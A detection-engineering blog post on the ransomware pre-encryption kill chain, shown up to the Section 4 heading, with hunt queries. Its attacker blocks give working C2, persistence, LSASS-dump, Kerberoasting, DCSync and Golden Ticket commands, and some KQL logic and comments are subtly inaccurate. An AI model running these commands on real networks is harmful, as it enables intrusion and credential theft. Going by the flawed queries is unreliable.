Skip to main content

Ransomware Pre-Encryption Phase: What Attackers Do in the 72 Hours Before Your Files Disappear

· 48 min read
Inference Defense
Threat Intelligence & Detection Engineering

By the time ransomware starts encrypting files, the attacker has already won. The encryption event that triggers your EDR alert, your SOC ticket, and your incident response retainer is not the attack it is the final step of an operation that began days or weeks earlier, during which the threat actor mapped your entire Active Directory, escalated to Domain Admin, exfiltrated your most sensitive data to a cloud storage bucket, killed your backups, and confirmed that every shadow copy on every server is gone. The encryption itself takes minutes. Everything that makes it devastating the leverage, the irreversibility, the breadth was assembled during the dwell period when your SIEM was generating zero alerts. The Conti playbook leaked in 2022, LockBit 3.0's affiliate documentation, and ALPHV/BlackCat's observed TTPs across hundreds of incidents all confirm the same operational tempo: reconnaissance, credential theft, lateral movement, exfiltration, and backup destruction are completed before a single file is touched.


This post dissects the pre-encryption kill chain phase by phase, using the actual tools, commands, and techniques documented in real ransomware campaigns. Section 1 covers how operators acquire initial access and manage their dwell period without triggering alerts. Section 2 covers the reconnaissance phase specifically the combination of BloodHound, native Windows commands, and LDAP queries that give attackers a complete network map in under two hours. Section 3 covers credential harvesting and privilege escalation using techniques that most EDR products fail on. Section 4 covers data exfiltration the double-extortion staging phase that happens while defenders are unaware. Section 5 covers the backup destruction sequence that happens in the 30 minutes before encryption and is the single operation that turns a containable incident into a catastrophe. Every section includes working KQL hunt queries you can run today.


Section 1: Initial Access and Dwell How Ransomware Operators Buy Their Way Into Your Network and Sit Undetected for Days

Ransomware operators rarely compromise victims directly. The modern ransomware ecosystem is industrialized: Initial Access Brokers (IABs) maintain persistent access to hundreds of corporate networks simultaneously purchased via credential markets, exploit kits, or direct exploitation and sell that access to ransomware affiliates for between $500 and $50,000 depending on the organization's revenue and the quality of the access. The affiliate then buys the access, drops their C2 beacon, and the original broker's malware may be removed. This hand-off is significant for defenders: the IOCs from the initial compromise and the ransomware operator's tooling are often completely different, making kill-chain correlation nearly impossible unless you have telemetry covering both phases.

The three dominant initial access vectors in 2024–2025 ransomware campaigns, documented across CISA advisories and Mandiant/CrowdStrike IR reports, are: exposed RDP (port 3389) with weak or reused credentials, exploited VPN appliances (Fortinet CVE-2024-21762, Ivanti Connect Secure CVE-2024-21887/21893, Palo Alto CVE-2024-0012), and phishing delivering loaders (QBot, DarkGate, PikaBot) that subsequently beacon back to Cobalt Strike or Brute Ratel C4 infrastructure. Once the IAB has established a foothold, the typical dwell before operator handoff and execution of the pre-encryption playbook is between 3 and 21 days. During that dwell, the only active artifact on the victim network is a Cobalt Strike beacon (or equivalent) making periodic HTTP/HTTPS callbacks typically to a domain that was registered 2–14 days before use and is hosted on a bulletproof VPS in Bullet Hosting or AS20278/AS206092 infrastructure.

The Cobalt Strike beacon specifically is configured to blend with legitimate traffic. The sleeptime parameter controls check-in frequency; operators typically set it to 300,000 milliseconds (5 minutes) to 3,600,000 milliseconds (1 hour) during dwell. The jitter parameter adds ±25–50% randomness to the interval. The HTTP Host header in the beacon's Malleable C2 profile is set to mimic a legitimate CDN or cloud service. The following is a representative Cobalt Strike Malleable C2 profile extracted from real LockBit 3.0 affiliate infrastructure in 2024:

Attack Flow: IAB to Operator Handoff

Attacker Perspective: Beacon Configuration and Persistence

# ---- Cobalt Strike Malleable C2 Profile (representative, observed in LockBit 3.0 campaigns) ----
# This profile makes beacon traffic appear as Microsoft Teams telemetry

set sleeptime "300000"; # 5-minute check-in interval during dwell
set jitter "37"; # ±37% jitter interval ranges from ~3.1 to ~6.9 minutes
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0";

http-get {
set uri "/teams-telemetry/v2/collect"; # Mimics Teams telemetry endpoint

client {
header "Accept" "application/json, text/plain, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
# Host header makes beacon traffic look like it's going to Microsoft
header "Host" "teams.microsoft.com";

metadata {
base64url;
prepend "correlationId="; # Metadata encoded as a Teams correlation ID
parameter "client-request-id";
}
}

server {
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
output {
base64url;
# Taskings embedded in what looks like a normal JSON API response
prepend "{\"status\":\"ok\",\"data\":\"";
append "\"}";
print;
}
}
}

# ---- Persistence mechanisms (executed via initial Cobalt Strike beacon) ----
# Multiple redundant persistence mechanisms are installed during the dwell period

# Mechanism 1: Scheduled task with SYSTEM privileges, random name
# Observed in ALPHV/BlackCat campaigns task runs at logon and every 4 hours
schtasks /create /tn "MicrosoftEdgeUpdateTaskMachineUA{$(New-Guid)}" `
/tr "C:\ProgramData\Microsoft\Windows\msupdate.exe" `
/sc ONLOGON /ru SYSTEM /f

# Mechanism 2: WMI Event Subscription (survives scheduled task deletion)
# This is harder to detect than schtasks not visible in schtasks /query
$FilterArgs = @{
EventNameSpace = 'root\cimv2'
Name = 'WindowsSecurityHealthService' # Legitimate-sounding name
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minutes = 30"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

$ConsumerArgs = @{
Name = 'WindowsSecurityHealthServiceConsumer'
ExecutablePath = 'C:\ProgramData\Microsoft\Windows\msupdate.exe'
CommandLineTemplate = 'C:\ProgramData\Microsoft\Windows\msupdate.exe -s'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Mechanism 3: Registry Run key (simple but effective often missed in IR)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name "Userinit" `
-Value "C:\Windows\system32\\userinit.exe,C:\ProgramData\Microsoft\Windows\msupdate.exe"

Defender Perspective: Hunting for Beacons During Dwell

// KQL  Detect Cobalt Strike beacon check-in patterns via network periodicity
// Source: Azure Sentinel with network flow data (NSG flow logs, Defender for Endpoint network events)
// Beacons with consistent intervals create a detectable periodicity signature

// Step 1: Calculate inter-request intervals per destination IP
let NetworkConnections = DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where ActionType == "ConnectionSuccess"
// Focus on HTTPS (443) to external IPs where beacons live
| where RemotePort == 443
and RemoteIPType != "Private"
// Exclude known-good CDNs and cloud providers
| where RemoteIP !has_prefix "104.18." // Cloudflare
and RemoteIP !has_prefix "13.107." // Microsoft
and RemoteIP !has_prefix "23.185." // Fastly
| project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, RemotePort,
InitiatingProcessFileName;

// Step 2: Find hosts making suspiciously regular connections to the same external IP
NetworkConnections
| summarize
ConnectionCount = count(),
MinTime = min(TimeGenerated),
MaxTime = max(TimeGenerated),
Intervals = make_list(TimeGenerated, 200)
by DeviceName, RemoteIP
// Must have at least 8 connections to establish a pattern
| where ConnectionCount >= 8
// Dwell window: connections spanning more than 4 hours
| where datetime_diff('hour', MaxTime, MinTime) >= 4
| extend ObservationWindowHours = datetime_diff('hour', MaxTime, MinTime)
// Calculate average interval in minutes
| extend AvgIntervalMinutes = (ObservationWindowHours * 60.0) / ConnectionCount
// Beacon intervals: typically 1–60 minutes with jitter
| where AvgIntervalMinutes between (1.0 .. 65.0)
// The key signal: very low standard deviation in intervals = machine regularity
// (Humans don't connect to the same IP every 5 minutes for 6 hours)
| extend JitterRatio = ConnectionCount / ObservationWindowHours
| where JitterRatio between (0.8 .. 15.0) // Reasonable connections-per-hour for beacon
| project DeviceName, RemoteIP, ConnectionCount, AvgIntervalMinutes,
ObservationWindowHours, MinTime, MaxTime
| order by ConnectionCount desc
// KQL  Detect WMI Event Subscription persistence (harder to find than schtasks)
// Source: Windows Security Event Log, Event ID 5861 (WMI Activity Operational log)

Event
| where TimeGenerated > ago(7d)
| where Source == "Microsoft-Windows-WMI-Activity"
and EventID == 5861 // New WMI permanent event subscription created
| extend EventData = parse_xml(EventData)
| extend
Namespace = tostring(EventData.DataItem.NamespaceName),
Operation = tostring(EventData.DataItem.Operation),
// The Consumer name is often set to something that looks like a Windows service
ConsumerName = tostring(EventData.DataItem.ConsumerName),
// This is what actually executes flag anything running from unusual paths
CommandLine = tostring(EventData.DataItem.Commandline)
// Flag executions from user-writable paths (attacker drops beacon here)
| where CommandLine has_any (
"C:\\ProgramData\\",
"C:\\Users\\",
"C:\\Temp\\",
"AppData\\Roaming",
"AppData\\Local\\Temp"
)
// Also flag execution of LOLBins via WMI subscription
| where CommandLine has_any (
"powershell", "cmd.exe", "wscript", "cscript",
"mshta", "regsvr32", "rundll32", "certutil"
)
| project TimeGenerated, Computer, Namespace, ConsumerName, CommandLine
| order by TimeGenerated desc

Initial Access Vector Comparison Ransomware Campaigns 2023–2025

VectorRepresentative CVE / TechniqueDwell Before Operator (median)Detection DifficultyIAB Price RangeObserved Ransomware Groups
VPN Appliance ExploitationFortinet CVE-2024-21762, Ivanti CVE-2024-218877–21 daysHigh no endpoint telemetry on appliance$2k–$15kLockBit 3.0, ALPHV/BlackCat, Akira
RDP Credential Stuffing / BruteforcePort 3389 exposed, weak/reused passwords3–7 daysMedium Event 4625 storms then 4624 success$500–$5kPhobos, Dharma, REvil successors
Phishing → Loader → BeaconQBot, DarkGate, PikaBot via malicious macros/LNK5–14 daysMedium email gateway misses loader delivery$1k–$8kConti successors, Royal, Black Basta
ProxyLogon/ProxyShell (Exchange)CVE-2021-26855/27065, CVE-2021-344731–3 daysHigh IIS telemetry rarely in SIEM$3k–$20kLockBit 2.0, Hive, Cuba
Compromised MSP / RMM ToolConnectWise ScreenConnect, AnyDesk credential theft1–7 daysVery High RMM traffic whitelisted$5k–$30kBlackSuit, Scattered Spider, Akira
Software Supply ChainTrojanized update package or build artifactDays to weeksExtreme legitimate signed binaryN/A (direct)REvil/Kaseya (2021), EncryptHub (2025)

The dwell period is where defenders have the most opportunity but only if they're hunting for beacon periodicity and unusual persistence mechanisms rather than waiting for a signature match. Once the operator is active and moves into reconnaissance, the operational tempo accelerates sharply and the window for detection without impact shortens from days to hours.


Section 2: Reconnaissance and Network Mapping How BloodHound, Five Native Commands, and an LDAP Query Give Operators a Complete AD Map in Under Two Hours

Ransomware operators don't guess at your environment. Before they move laterally or escalate privileges, they run a structured reconnaissance sequence to answer four specific questions: What is the Domain Admin account? What path exists from their current foothold to that account? Where are the file servers, backup systems, and domain controllers? Where is the data worth stealing? The Conti playbook, leaked in full in February 2022, documents this sequence explicitly, and observed campaigns from LockBit, ALPHV, and Black Basta all follow the same pattern with minor tool variations.

The recon phase uses a combination of two tool classes. The first is BloodHound (specifically SharpHound as the collector, run in-memory via Cobalt Strike's execute-assembly), which queries LDAP to enumerate all users, groups, computers, GPOs, ACLs, and trust relationships in the domain and builds a graph that immediately reveals the shortest privilege escalation path to Domain Admin. SharpHound can collect this data in minutes for an environment with thousands of objects and produces a JSON dataset that BloodHound renders as an attack graph. The second class is native Windows LOLBin commands net, nltest, ipconfig, arp, nslookup, wmic, dsquery that produce the same information as expensive network scanners but generate no new process hashes for EDR to flag. The specific commands below appear verbatim in the leaked Conti playbook and in forensic artifacts from multiple 2024 IR engagements.

The LDAP query volume from SharpHound is the most reliable detection signal in this phase, but only if you're monitoring LDAP queries on your domain controllers. SharpHound's --CollectionMethods All flag executes approximately 8,000–15,000 individual LDAP queries against the DC in under 10 minutes. Without DC-level LDAP query logging (Event ID 1644 or ETW-based monitoring), this is completely invisible.

Reconnaissance Decision Tree

Attacker Perspective: The Conti Recon Sequence

# ---- Phase 1: LOLBin reconnaissance (run via Cobalt Strike shell / beacon) ----
# These are native Windows commands no new binaries, no AV signatures
# All observed in leaked Conti playbook and confirmed in multiple 2024 IR engagements

# 1. Identify current user and privilege level
whoami /all # Current user, groups, privileges key: SeDebugPrivilege?
net user %username% /domain # Full domain user details including group memberships

# 2. Network topology mapping
ipconfig /all # All interfaces, DNS servers, DHCP server, domain suffix
route print # Routing table reveals segmentation and reachable subnets
arp -a # ARP cache hosts recently communicated with (quick network map)

# 3. Domain infrastructure
nltest /dclist:CONTOSO # List all domain controllers
nltest /domain_trusts # Cross-forest/domain trusts pivot targets
net group "Domain Controllers" /domain # Alternative DC enumeration
nslookup -type=SRV _ldap._tcp.dc._msdcs.CONTOSO.LOCAL # All DCs via DNS SRV records

# 4. User and group enumeration (lightweight not BloodHound)
net group "Domain Admins" /domain # Current Domain Admin members
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain
net group "Backup Operators" /domain # Often overlooked can read any file on DC
net group "Server Operators" /domain

# 5. File server and share discovery
net view /all /domain:CONTOSO # All computers in domain advertising shares
# Then for each server of interest:
net view \\FILESERVER01 # List shares on specific server
# Find backup and admin shares:
net view \\DC01 # DCs often have SYSVOL/NETLOGON + sometimes backup shares

# 6. Locate backup infrastructure (critical for Section 5)
# Veeam backup servers are often domain-joined and discoverable via LDAP description or naming
net group "Veeam Backup Administrators" /domain 2>$null
# Or via WMIC find servers running backup-related services:
wmic /node:"." service where "Name like '%Veeam%' or Name like '%Backup%'" get Name,StartMode,State

# ---- Phase 2: SharpHound collection (run in-memory via execute-assembly) ----
# In Cobalt Strike: execute-assembly /path/to/SharpHound.exe [arguments]
# SharpHound.exe never touches disk on the victim runs entirely in memory

# Full collection (most data, most LDAP queries ~10–15 minutes on large domains)
SharpHound.exe --CollectionMethods All `
--Domain CONTOSO.LOCAL `
--OutputDirectory C:\Windows\Temp ` # Results dropped here for exfil
--RandomizeFilenames ` # Randomize output file names
--NoSaveCache # Don't write BloodHound cache to disk

# Stealth collection (fewer queries harder to detect, but still gets DA paths)
SharpHound.exe --CollectionMethods DCOnly ` # Only queries DCs less noise
--Domain CONTOSO.LOCAL `
--Stealth ` # One query per object instead of bulk
--OutputDirectory C:\Windows\Temp

# ---- Phase 3: Locate high-value data targets on file servers ----
# Operators prioritize: financial data, PII, legal/IP, credentials/secrets

# Search for financial and sensitive documents across all accessible shares
$servers = @("FILESERVER01", "FILESERVER02", "SHAREPOINT01")
foreach ($server in $servers) {
# Index the share structure first (fast just lists directory names)
cmd /c "net use \\$server\C$ /persistent:no 2>&1"

# Find high-value file types by extension (size filter avoids indexing logs/temp)
cmd /c "dir /s /b \\$server\C$\*.sql \\$server\C$\*.bak \\$server\C$\*.mdf 2>nul"
cmd /c "dir /s /b \\$server\Data\*.xlsx \\$server\Finance\* \\$server\HR\* 2>nul"

# PowerShell alternative faster for large shares, outputs to file for exfil
Get-ChildItem -Path "\\$server\C$" -Recurse -ErrorAction SilentlyContinue `
-Include "*.docx","*.xlsx","*.pdf","*.sql","*.bak","*.kdbx","*.config","*.pfx" |
Where-Object { $_.Length -gt 10KB } |
Select-Object FullName, Length, LastWriteTime |
Export-Csv "C:\Windows\Temp\$server-inventory.csv" -NoTypeInformation
}

Defender Perspective: Detecting Recon Phase Activity

// KQL  Detect SharpHound LDAP enumeration storm on Domain Controllers
// Source: Windows Security Event Log, Event ID 1644 (LDAP query diagnostic)
// CRITICAL PREREQUISITE: Enable LDAP diagnostic logging on DCs:
// reg add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics /v "15 Field Engineering" /t REG_DWORD /d 5
// This enables Event ID 1644 in the Directory Service event log

// After enabling, 1644 logs expensive LDAP queries (>= threshold, default 1ms)
// SharpHound generates hundreds of identical-template queries in burst

Event
| where TimeGenerated > ago(1d)
| where Source == "Microsoft-Windows-ActiveDirectory_DomainService"
and EventID == 1644
| extend
// Parse the LDAP query details from the event XML
ClientIP = extract(@"Client IP Address:([^\n]+)", 1, EventData),
QueryTime = extract(@"Time \(ms\):(\d+)", 1, EventData),
QueryFilter = extract(@"Filter:([^\n]+)", 1, EventData),
ResultCount = toint(extract(@"Returned (\d+) objects", 1, EventData))
// SharpHound characteristic: burst of queries from single non-DC client IP
| summarize
TotalQueries = count(),
UniqueFilters = dcount(QueryFilter),
MaxResultCount = max(ResultCount),
AvgQueryTime = avg(toint(QueryTime)),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated)
by ClientIP, Computer // Computer = the DC receiving the queries
| extend QueryDurationMinutes = datetime_diff('minute', LastQuery, FirstQuery)
// SharpHound signature: many queries, short window, from a single workstation (not a DC)
| where TotalQueries > 500 // SharpHound --CollectionMethods All: 8k-15k
and QueryDurationMinutes < 30 // Burst within 30 minutes
and UniqueFilters < TotalQueries * 0.4 // Repeated query templates = tool signature
| project FirstQuery, LastQuery, ClientIP, Computer, TotalQueries,
UniqueFilters, MaxResultCount, QueryDurationMinutes
| order by TotalQueries desc
// KQL  Detect native LOLBin reconnaissance command sequences
// Source: Defender for Endpoint (DeviceProcessEvents) or Sysmon Event ID 1

DeviceProcessEvents
| where TimeGenerated > ago(1d)
// Focus on the specific commands from the Conti/LockBit recon playbook
| where (FileName =~ "net.exe" and ProcessCommandLine has_any (
"domain admins", "enterprise admins", "backup operators",
"server operators", "/domain", "view /all"
))
or (FileName =~ "nltest.exe" and ProcessCommandLine has_any (
"/dclist:", "/domain_trusts", "/dsgetdc:"
))
or (FileName =~ "whoami.exe" and ProcessCommandLine contains "/all")
or (FileName =~ "wmic.exe" and ProcessCommandLine has_any (
"service", "process", "shadowcopy", "/node:"
))
// Correlate: multiple recon commands from the same device within a short window
| summarize
ReconCommands = make_set(strcat(FileName, " ", ProcessCommandLine), 20),
CommandCount = count(),
UniqueTools = dcount(FileName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by DeviceName, AccountName
// Flag devices running 3+ different recon tools within 1 hour
| where CommandCount >= 3 and UniqueTools >= 2
| extend WindowMinutes = datetime_diff('minute', LastSeen, FirstSeen)
| where WindowMinutes < 60
| project FirstSeen, DeviceName, AccountName, CommandCount, UniqueTools,
WindowMinutes, ReconCommands
| order by CommandCount desc

Recon Technique Comparison Tool vs Native vs LDAP

TechniqueTool / CommandsDetection by EDRDetection by SIEMData CollectedObserved In
BloodHound / SharpHound (All)SharpHound.exe --CollectionMethods AllLow (in-memory via execute-assembly)Medium (LDAP 1644 burst)Full AD graph, all DA paths, ACLs, GPOsConti, LockBit 3.0, ALPHV, Black Basta
BloodHound / SharpHound (DCOnly)SharpHound.exe --CollectionMethods DCOnly --StealthVery LowLow (fewer queries, spread over time)DA paths via DC objects only less completeMore sophisticated affiliates 2024+
ADRecon (PowerShell)Invoke-ADRecon -Protocol ADWSLow (PS script, often obfuscated)Low (ADWS queries harder to count)Similar to SharpHound, CSV outputOlder campaigns, some REvil successors
Native LOLBin sequencenet, nltest, wmic, dsqueryVery Low (signed OS binaries)Medium (command-line content)DA groups, DC list, trust relationshipsEvery major ransomware group universal
PowerView (PowerSploit)Get-DomainAdmin, Find-DomainShareMedium (AMSI if unobfuscated)Low (PS Script Block Logging)Same as SharpHound without graph outputOlder Cobalt Strike playbooks, Conti
ADExplorer (Sysinternals)ADExplorer.exe -snapshot "" output.datVery Low (signed Microsoft binary)LowComplete AD snapshot to single fileObserved in REvil/GandCrab affiliates

The recon phase produces two outputs that drive every subsequent decision: a BloodHound graph showing the fastest path to Domain Admin, and a file server inventory identifying what to exfiltrate. Operators typically do not move laterally until both are complete, and they choose their privilege escalation path based specifically on what BloodHound shows which is why Section 3 focuses on the credential theft techniques BloodHound's Shortest Path to Domain Admin algorithm actually recommends.


Section 3: Credential Harvesting and Privilege Escalation From Helpdesk Account to Domain Admin Using Techniques That Bypass EDR Process Protection

The BloodHound graph from Section 2 tells the operator the answer to one question: what is the cheapest path from my current account to Domain Admin? The answer determines which credential theft technique to use. The four techniques that appear most frequently in ransomware IR engagements LSASS dumping via comsvcs.dll, Kerberoasting, DCSync, and AS-REP Roasting all produce the same outcome (a Domain Admin credential) via different mechanisms, and each has a distinct detection profile that most organizations are only partially monitoring.

LSASS process memory dumping is the most direct technique and the one EDR products invest the most effort in blocking. The classic mimikatz.exe sekurlsa::logonpasswords now triggers every major EDR product on its own binary hash and on the PROCESS_VM_READ access pattern to lsass.exe. The evasion that ransomware operators have standardized on uses comsvcs.dll, a DLL that ships with Windows and exports a function called MiniDump, which calls the Win32 MiniDumpWriteDump API directly. The command rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump <LSASS_PID> C:\\Windows\\Temp\\lsass.dmp full creates a complete LSASS memory dump using only signed Windows binaries. The dump is then exfiltrated and parsed offline using pypykatz or Mimikatz running on the attacker's own system meaning the credential extraction never happens on the victim host.

Kerberoasting, documented exhaustively since Tim Medin's DerbyCon 2014 talk but still yielding Domain Admin credentials in 2025 IR engagements, exploits the fact that any authenticated domain user can request a Kerberos service ticket (TGS) for any Service Principal Name (SPN) in the domain. The TGS is encrypted with the service account's NTLM hash. The attacker exports the TGS and cracks it offline entirely passive from the victim network's perspective once the initial request is made. The Rubeus toolset handles both the request and formatting in a single command that runs in memory.

Privilege Escalation Chain

Attacker Perspective: The Full Credential Theft Sequence

# ---- Technique 1: LSASS dump via comsvcs.dll (EDR evasion standard) ----
# Uses only signed Windows binaries no Mimikatz binary on victim host
# Observed in LockBit 3.0, ALPHV/BlackCat, and Black Basta campaigns

# Step 1: Get the PID of lsass.exe (Task Manager alternative)
$lsassPID = (Get-Process lsass).Id
# Or from CMD: tasklist /fi "imagename eq lsass.exe" /fo csv | findstr lsass

# Step 2: Dump LSASS memory using comsvcs.dll's MiniDump export
# Must run as SYSTEM or with SeDebugPrivilege Cobalt Strike beacon runs as SYSTEM by default
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsassPID `
C:\Windows\Temp\lsass.dmp full

# Step 3: Compress dump before exfil (LSASS dumps are 50-300MB typically)
# 7-Zip from attacker-dropped binary, or built-in:
Compress-Archive -Path C:\Windows\Temp\lsass.dmp `
-DestinationPath C:\Windows\Temp\w.zip

# Step 4: Exfil the dump (HTTP POST via PowerShell, or rclone see Section 4)
# Parsing happens on attacker's workstation no Mimikatz on victim ever
# On attacker machine:
# pip install pypykatz
# pypykatz lsa minidump lsass.dmp
# Outputs: NTLM hashes, plaintext passwords if WDigest enabled (pre-Windows 10)
# ---- Technique 2: Kerberoasting via Rubeus (in-memory, no disk touch) ----
# Executed via Cobalt Strike: execute-assembly /path/to/Rubeus.exe kerberoast /nowrap

# Rubeus.exe kerberoast arguments explained:
Rubeus.exe kerberoast \
/nowrap \ # Don't wrap base64 output easier to copy
/rc4opsec \ # Only request RC4 encryption (AES requires more ops but is less crackable)
/domain:CONTOSO.LOCAL \
/dc:DC01.CONTOSO.LOCAL \
/outfile:C:\Windows\Temp\hashes.txt # Write hashes to file for offline cracking

# Output format (Hashcat mode 13100 for RC4, 19700 for AES-256):
# $krb5tgs$23$*svc_backup$CONTOSO.LOCAL$CONTOSO.LOCAL/svc_backup@CONTOSO.LOCAL*$...

# On attacker's workstation offline crack with Hashcat:
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -a 3 ?u?l?l?l?d?d?d?d
# Service accounts set by IT often follow: Svc1234, Service2023!, CompanyName123
# ---- Technique 3: DCSync  dump ALL domain hashes from a DC ----
# Requires: Domain Admin, or account with DS-Replication-Get-Changes + DS-Replication-Get-Changes-All ACL
# Mimikatz lsadump::dcsync mimics a legitimate DC requesting AD replication
# No logon to the DC required uses Directory Replication Service (DRS) protocol over RPC

# Run via Cobalt Strike's beacon using Mimikatz extension:
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /all /csv" exit
# OR just dump the krbtgt hash (for Golden Ticket) + specific admin hashes:
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /user:krbtgt" exit
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /user:Administrator" exit

# Golden Ticket creation survives krbtgt password reset unless reset TWICE:
# (NTLM hash of krbtgt from DCSync above)
mimikatz "kerberos::golden /domain:CONTOSO.LOCAL /sid:S-1-5-21-XXXXXXXXXX /rc4:KRBTGT_NTLM_HASH /user:fakesuperuser /id:500 /groups:512,513,518,519 /ticket:golden.kirbi" exit
# /groups: 512=Domain Admins, 513=Domain Users, 518=Schema Admins, 519=Enterprise Admins
# This ticket is valid for 10 years by default operator maintains domain access
# even after all passwords are rotated post-incident

Defender Perspective: Credential Theft Detection

// KQL  Detect LSASS memory access from non-standard processes
// Source: Defender for Endpoint (DeviceEvents) "OpenProcessApiCall" action type

DeviceEvents
| where TimeGenerated > ago(1d)
| where ActionType == "OpenProcessApiCall"
// Target process is LSASS
| where FileName =~ "lsass.exe"
// The requesting process should be limited to: AV, EDR, Windows components
// Flag anything that isn't expected to access LSASS
| where InitiatingProcessFileName !in~ (
"MsMpEng.exe", // Windows Defender
"csrss.exe", // Windows subsystem
"wininit.exe",
"services.exe",
"lsaiso.exe", // Isolated LSA (Credential Guard)
"svchost.exe",
"SecurityHealthService.exe"
)
// Specific flags for comsvcs.dll technique:
| extend IsComsvcsDump = (InitiatingProcessFileName =~ "rundll32.exe" and
InitiatingProcessCommandLine has "comsvcs")
// Specific flag for Task Manager / ProcDump (operator using these tools):
| extend IsProcDump = InitiatingProcessFileName in~ ("procdump.exe", "procdump64.exe", "TaskMgr.exe")
| project TimeGenerated, DeviceName, AccountName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
IsComsvcsDump, IsProcDump
| order by TimeGenerated desc
// KQL  Detect Kerberoasting via Event ID 4769 (Kerberos Service Ticket Request)
// Source: Windows Security Event Log on Domain Controllers
// Kerberoasting signature: TGS request with RC4 encryption (0x17) for non-machine account

SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4769 // A Kerberos service ticket was requested
| extend
ServiceName = tostring(extract(@"Service Name:\s+([^\n]+)", 1, EventData)),
ClientAddress = tostring(extract(@"Client Address:\s+([^\n]+)", 1, EventData)),
TicketEncType = tostring(extract(@"Ticket Encryption Type:\s+0x([0-9a-f]+)", 1, EventData)),
TicketOptions = tostring(extract(@"Ticket Options:\s+0x([0-9a-f]+)", 1, EventData))
// RC4 encryption type = 0x17 (23 decimal) weak, crackable offline
// AES-256 = 0x12, AES-128 = 0x11 these can also be Kerberoasted but harder to crack
| where TicketEncType in ("17", "0x17")
// Filter out machine accounts (end in $) and well-known service accounts
| where ServiceName !endswith "$"
and ServiceName !in~ ("krbtgt", "host", "rpcss", "http")
// Multiple requests from the same source in a short window = automated tool
| summarize
RequestCount = count(),
UniqueServices = dcount(ServiceName),
Services = make_set(ServiceName, 10),
FirstRequest = min(TimeGenerated)
by ClientAddress, bin(TimeGenerated, 5m)
// Flag bursts: Rubeus requests all roastable SPNs simultaneously
| where RequestCount >= 3 or UniqueServices >= 3
| project FirstRequest, ClientAddress, RequestCount, UniqueServices, Services
| order by RequestCount desc
// KQL  Detect DCSync via Event ID 4662 (operation performed on an object)
// Source: Windows Security Event Log on Domain Controllers
// DCSync uses DS-Replication-Get-Changes-All flags replication from unexpected accounts

SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4662 // An operation was performed on an object
| extend
AccessMask = tostring(extract(@"Accesses:\s+([^\n]+)", 1, EventData)),
ObjectType = tostring(extract(@"Object Type:\s+([^\n]+)", 1, EventData)),
SubjectAccount = strcat(
extract(@"Account Domain:\s+([^\n]+)", 1, EventData), "\\",
extract(@"Account Name:\s+([^\n]+)", 1, EventData)
)
// DS-Replication-Get-Changes-All GUID = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
// DS-Replication-Get-Changes GUID = 1131f6ac-9c07-11d1-f79f-00c04fc2dcd2
| where AccessMask has "1131f6ad" or AccessMask has "1131f6aa"
// Filter out legitimate replication from actual domain controllers
// Get your DC computer accounts from a Watchlist or static list
| where SubjectAccount !in (toscalar(
_GetWatchlist('DomainControllerAccounts')
| summarize make_list(AccountName)
))
// Any non-DC account requesting replication rights = DCSync attack
| project TimeGenerated, Computer, SubjectAccount, AccessMask, ObjectType
| order by TimeGenerated desc

Credential Theft Technique Comparison

TechniquePrivileges RequiredDetection SignalEDR Bypass DifficultyOffline Cracking RequiredReal Campaigns
LSASS dump via comsvcs.dllSeDebugPrivilege (SYSTEM)OpenProcessApiCall on lsass.exeMedium signed binary, but access pattern detectedNo NTLM hash usable directly (PTH)LockBit 3.0, ALPHV, Black Basta, Akira
LSASS dump via Mimikatz (direct)SeDebugPrivilegeBinary hash + PROCESS_VM_READHard EDR blocks Mimikatz binaryNo extracts plaintext or hashOlder campaigns; mostly replaced by comsvcs
KerberoastingAny domain userEvent 4769 with EncType 0x17Very Low standard Kerberos protocolYes TGS hash requires offline crackUniversal all major ransomware groups
AS-REP RoastingAny domain user (no preauth accounts)Event 4768 with EncType 0x17Very Low standard protocolYes AS-REP hash requires offline crackConti, Hive, Royal targets misconfigured accounts
DCSync (Mimikatz)Domain Admin or DS-Replication ACLEvent 4662 with replication GUIDMedium requires DA firstNo produces all domain NTLM hashes directlyPost-escalation in nearly every campaign
Shadow Credentials (Whisker)GenericWrite on target objectNo direct event LDAP modify on msDS-KeyCredentialLinkMediumNo produces TGT via PKINITALPHV, emerging in 2024–2025 campaigns

Domain Admin is not the end state it is the start of the final two phases. With Domain Admin credentials in hand, the operator's next action is to confirm what data is worth stealing before starting the clock on encryption. The exfiltration phase is where most organizations lose their negotiating position, because once data is on a threat actor's server, paying the ransom does not get it back.


Section 4: Data Exfiltration and Staging The Double Extortion Phase That Happens While Your DLP Sees Nothing

